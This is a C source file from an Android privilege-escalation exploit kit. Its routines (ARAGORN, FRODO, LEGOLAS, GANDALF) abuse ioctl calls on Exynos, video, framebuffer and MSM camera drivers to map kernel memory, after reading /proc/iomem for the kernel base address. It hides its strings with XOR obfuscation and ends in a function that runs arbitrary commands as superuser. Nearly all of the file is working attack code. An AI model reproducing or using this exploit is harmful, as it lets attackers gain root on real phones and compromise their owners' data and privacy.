#include <stdio.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <stdbool.h>
#include "exploit.h"
#include <linux/fb.h>

#define EXYNOS_MEM_PADDR_CACHE_FLUSH    0x40084dc9 // Defined as _IOW('M', 201, struct exynos_mem_flush_range) in exynos-mem.h
#define VIDIOC_G_FMT                    0xc0cc5604 // Defined as _IOWR('V',  4, struct v4l2_format) in videodev2.h
#define VIDIOC_REQBUFS                  0xc0145608 // Defined as _IOWR('V',  8, struct v4l2_requestbuffers) in videodev2.h
#define VIDIOC_S_CTRL                   0xc008561c // Defined as _IOWR('V', 28, struct v4l2_control) in videode2.h
#define MSM_CAM_IOCTL_SET_MEM_MAP_INFO  0x80046d29

unsigned char* deobfuscate(unsigned char *s) {
    unsigned char key, mod, len;
    int i, j;
	unsigned char* d;
	
    key = s[0];
    mod = s[1];
    len = s[2] ^ key ^ mod;

	d = (unsigned char *)malloc(len + 1);
	
    // zero terminate the string
    memset(d, 0x00, len + 1);

    for (i = 0, j = 3; i < len; i++, j++) {
        d[i] = s[j] ^ mod;
        d[i] -= mod;
        d[i] ^= key;
    }

    d[len] = 0;
	
    return d;
}

int set_offset(struct exploit *exp) {
  FILE *fd;
  char *ptr;
  char line[512];
  char *str;
  char *str2;
  unsigned long addr = 0;
  
  unsigned char proc_iomem[] = "\xd6\xad\x70\x0b\xfe\xfc\xcb\xcf\x0b\xc1\xcb\xc5\xcd\xc5"; // "/proc/iomem"
  unsigned char r[] = "\x26\xc5\xe2\xdc"; // "r"
  unsigned char colon1[] = "\x7d\x65\x19\xc9"; // ":"
  unsigned char colon2[] = "\x1f\x90\x8e\x25"; // ":"
  unsigned char dash[] = "\x21\x40\x60\x0c"; // "-"
  unsigned char kcode[] = "\x0c\xe7\xe0\xc9\xb7\x82\xae\xb7\xa0\xf4\xb1\xad\xa8\xb7"; // "Kernel code"
  unsigned char ktext[] = "\xec\x3c\xdb\xdf\xf9\xe6\x82\xf9\x80\x34\xe8\xf9\xec\xe8"; // "Kernel text"
  unsigned char sram[] = "\xf6\x07\xfb\xab\x91\x8b\x8e\x9d\xa5\xda\xac\xb9\xc5"; // "System RAM"
  
  /* Check /proc/iomem for "System RAM" symbol. */
  /* Kernel code base address is our target.   */

  if(!exp)
    return 0;

  if(!(fd = fopen(deobfuscate(proc_iomem), deobfuscate(r)))) {
      //printf("Unable to open proc\n");
      return 0;
  }

  while((ptr = fgets(line, sizeof(line), fd))) {
    str = strtok(ptr, deobfuscate(colon1));
	
    if(str2 = strtok(0, deobfuscate(colon2))) {
      if(strstr(str2, deobfuscate(sram))) {
		  str = strtok(str, deobfuscate(dash));
		  addr = strtoul(str, NULL ,16);
		  
		  if(ptr = fgets(line, sizeof(line), fd)) {
			if(strstr(line, deobfuscate(kcode)) || strstr(line, deobfuscate(ktext))) {
			  break;
			}
		  }
      }
    }	
  }

  fclose(fd);

  if(!addr) 
    return 0;

  // Update the value
  exp->offset = addr;

  return 1;
}



int sleep_func(struct exploit *exp) {
  sleep(5);
  return 1;
}



// Init function for ARAGORN exploit on /dev/video1 device
int init_aragorn(struct exploit *exp) {
  int fd = exp->fd;
  unsigned long offset;

  struct v412_format {
    int  type;
    char raw_data[200];
  };


  struct v4l2_requestbuffers {
    int count;
    int type;
    int memory;
    int reserved[2];
  };


  struct v4l2_control {
    int            id;
    unsigned long *value;
  };


  if(!fd)
    return 0;

  if(!set_offset(exp))
    return 0;

  struct v412_format arg1;
  memset((void *) &arg1, 0, sizeof(arg1));
  arg1.type = 2; // Video type = Video Output

  struct v4l2_requestbuffers arg2 = {
    1,
    2, // V4L2_BUF_TYPE_VIDEO_OUTPUT 
    0, 
    0, 
    0
  };
 
  offset = exp->offset;
  struct v4l2_control arg3 = {0x800000A, &offset};

  // Device I/O specific request
    
  if(ioctl(fd, VIDIOC_G_FMT, &arg1)) {
    return 0;
  }

  if(ioctl(fd, VIDIOC_REQBUFS, &arg2)) {
    return 0;
  }

  if(ioctl(fd, VIDIOC_S_CTRL, &arg3)) {
    return 0;
  }

  exp->offset = 0;

  return 1;

}



// Finalize function for SAM and FRODO exploit on /dev/exynos-mem
int finalize_exynos(struct exploit *exp) {
  struct exynos_mem_flush_range {
    unsigned long start;
    size_t length;
  };
  
  unsigned long offset;
  
  offset = exp->offset;
  struct exynos_mem_flush_range args = {(unsigned long) &offset, exp->length};

  if(exp->fd) {
    if(!ioctl(exp->fd, EXYNOS_MEM_PADDR_CACHE_FLUSH, &args))
      return 1;
  }

  // Should be never reached
  return 0;
}



// Init func for FRODO exploit on /dev/exynos-mem
int init_frodo(struct exploit *exp) {

  unsigned long offset;
  unsigned long new_offset;

  offset = exp->offset;
  if(!set_offset(exp))
    return 0;

  new_offset = (exp->offset >> 2) + 1024;
  exp->start_offset = new_offset;
  exp->offset = offset;

  return 1;
}



// Init func for LEGOLAS exploit on /dev/graphics/fb0
int init_legolas(struct exploit *exp) {
  unsigned long offset;

  if(!set_offset(exp))
    return 0;

  offset = exp->offset;
  exp->offset = 0;

  if(ioctl(exp->fd, 0x40044734, (void *) offset)) 
    return 0;

  return 1;
}

// Pre init func for GANDALF exploit
int pre_init_gandalf(struct exploit *exp) {
  int fd;
  
  unsigned char vid1[] = "\x28\xb9\x9a\x79\xbc\xbf\xae\x79\xae\x43\xbc\xbf\xb9\x68"; // "/dev/video0"
  unsigned char vid2[] = "\xbd\x68\xde\x92\x29\x28\x5b\x92\x5b\x54\x29\x28\x52\x9d"; // "/dev/video0"
  
  if(!set_offset(exp))
    return 0;

  fd = open(deobfuscate(vid1), O_RDWR);

  if(fd < 0)
    return 0;

  exp->fd2 = fd;
  close(fd);
  
  fd = open(deobfuscate(vid2), O_RDWR);

  if(fd < 0)
    return 0;

  exp->fd2 = fd;
  
  return 1;

}


// Init func for GANDALF exploit
int init_gandalf(struct exploit *exp) {
  struct msm_mem_map_info {
    unsigned long offset;
    int           length;
    int           mem_type;
  };


  struct msm_mem_map_info args = {exp->offset, 0, 0};
  exp->offset = 0;

  if(ioctl(exp->fd, MSM_CAM_IOCTL_SET_MEM_MAP_INFO, &args) < 0)
    return 0;

  return 1;
}



// Exec the payload as superuser
void exec_payload(int args, char **cmd) {
  char exec[128];
  int i;
  
  unsigned char s[] = "\x2e\xba\x96\x7f\xad"; // "%s"
  unsigned char ss[] = "\x0c\x8e\x87\x39\x83\x34\x39\x83"; // "%s %s"
  
  memset(exec, 0, sizeof(exec));
  snprintf(exec, sizeof(exec), deobfuscate(s), cmd[1]);

  for(i = 2; i < args; i++)
    snprintf(exec, sizeof(exec), deobfuscate(ss), exec, cmd[i]);

  /* PUT HERE YOUR PRIVILEGED CODE TO BE EXECUTED */
  system(exec);
}
